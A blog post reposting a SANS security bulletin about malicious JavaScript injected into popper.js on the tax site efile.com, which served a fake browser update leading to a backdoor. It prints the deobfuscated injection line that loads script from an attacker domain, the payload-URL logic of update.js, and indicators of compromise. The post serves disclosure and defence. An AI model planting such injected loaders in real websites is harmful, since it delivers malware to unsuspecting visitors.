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Writer's pictureJonanna Mason
Apr 4, 20233 min read

It's tax prep season in the US, and this is being posted out of an abundance of caution!



As it is tax preparation season in the United States, and very close to the filing deadline, this is being posted out of an abundance of caution.


What Happened?

On April 3, 2023, the SANS Internet Storm Center posted a bulletin about the United States tax preparation site — efile[.]com — hosting a malicious JavaScript file. When loaded, the file will redirect to a staging site that downloads a fake update binary (update.exe) or (installer.exe). The file delivered by the JavaScript is determined by the visiting user's browser string:

  • Chrome --> update.exe

  • FireFox --> installer.exe

These files are Python derived stagers that ultimately try to install a PHP-based backdoor.


BELOW IS THE BULLETIN POSTED ON REDDIT:


[Added an update at the end with more details regarding the "update.exe" file. I think it is safe to say at this point, that efile.com has been compromised.]


Last week, related to the 3CX compromise, I mentioned how difficult it can be to determine if an overall trusted resource is compromised. This weekend, our reader Drew sent us a note that there is some talk about efile.com being possibly compromised. Users are reporting a popup that offers a file "update.exe." This in itself is, of course, highly suspicious. But I was not able to reproduce the issue. Drew also linked to an any.run analysis showing the behavior [1].


The update.exe was apparently uploaded to Virustotal [2]. As I checked earlier today, only two engines flagged the file: Crowdstrike and Cynet. I just redid the analysis and did not get any additional positives. The file appears to have been uploaded on March 17th, and the creation time is March 17th as well. A post on Reddit also observed the behavior on March 17th [3]


Let's take a closer look at efile.com. The site uses common modern technologies: Bootstrap, jQuery, and Google Analytics [4]. Nothing too special about this. But things get a bit more interesting looking at the sources downloaded by the browser:

An empty response is received from https[:]//www[.]infoamanewonliag[.]online/update/index.php. The URL's " update " part matches the suspect binary's name that users reported (update.exe).


So why did the browser connect to infoamanewonliag[.]online?


It turns out that the request came from "popper.js":

The slightly obfuscated code becomes (line breaks added for readability):

s=document.createElement('script'); document.body.appendChild(s); s.src='//www.infoamanewonliag.online/update/index.php?'+Math.random();

The use of obfuscated code is indeed very odd. The remaining content of popper.js matches a standard bootstrap addon to display popup dialogs [5]. Someone took the normal and harmless popper.js and added obfuscated JavaScript to connect to infoamanewonliag[.]online.


What do we know about infoamanewonliag[.]online?


Whois shows that it was registered on March 12th and last updated on March 17th, the same day update.exe was created and uploaded to Virustotal. The hostname resolves to 47.245.6.91. This IP address is hosted by Alibaba.


Compromised or not? I reached out to efile.com and am waiting for a response. Only they should be able to know for sure if this code is supposed to be on the site or not. Any other ideas to figure out what exactly is happening here?


[UPDATE Apr 3rd 1419PM EDST]


Colin Cowie on Mastodon (@the_protoCOL@infosec.exchange) noted that urlscan.io caught some of the update.exe redirects [6].

  1. JavaScript redirects the user to a fake error page. The page looks very much like a legitimate browser error stating, "The current version of your browser uses an unsupported protocol. Click on the below link to update your browser."

  2. Additional Javascript is loaded from ?channel-platform.s3.ap-east-1[.]amazonaws[.]com/package/update[.]js. This javascript is used to display the fake page.

  3. update.exe uses a valid signature from "Sichuan Niurui Science and Technology Co., Ltd.

A bit more about "update.js"


It starts with two URLs:

let agent = navigator.userAgent.toLowerCase(); let payload_chrome = '//www.infoamanewonliag.online/update/download.php?file=update.exe'; let payload_firefox = '//www.infoamanewonliag.online/update/download.php?file=installer.exe'; let ua1 = ''; let payload = ''; So different browsers get different payloads.

  • update.exe redirects to https://winwin.co.th/intro/update.exe. sha256: 882d95bdbca75ab9d13486e477ab76b3978e14d6fca30c11ec368f7e5fa1d0cb VirusTotal: https://www.virustotal.com/gui/file/882d95bdbca75ab9d13486e477ab76b3978e14d6fca30c11ec368f7e5fa1d0cb

  • installer.exe redirects to https://winwin.co.th/intro/installer.exe sha256: d4f545691c8441b5bcb86535b1d0fd16dc06786eb4080087588cd4d0f388d5ca VirusTotal: https://www.virustotal.com/gui/file/d4f545691c8441b5bcb86535b1d0fd16dc06786eb4080087588cd4d0f388d5ca

Both files are only marked as malicious by two scanners right now: Crowdstrike Falcon and Cynet.

[1] https://app.any.run/tasks/d25c5a78-d22f-4a8c-b714-73541a66a412/ [2] https://www.virustotal.com/gui/file/882d95bdbca75ab9d13486e477ab76b3978e14d6fca30c11ec368f7e5fa1d0cb/detection [3] https://www.reddit.com/r/Scams/comments/11tx8pj/possible_fake_website_network_error/ [4] https://urlscan.io/result/ae5e4300-a850-44c9-897b-c6abed59bd08/ [5] https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js [6] https://infosec.exchange/@th3_protoCOL/110136246902506054


--- Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu Twitter|





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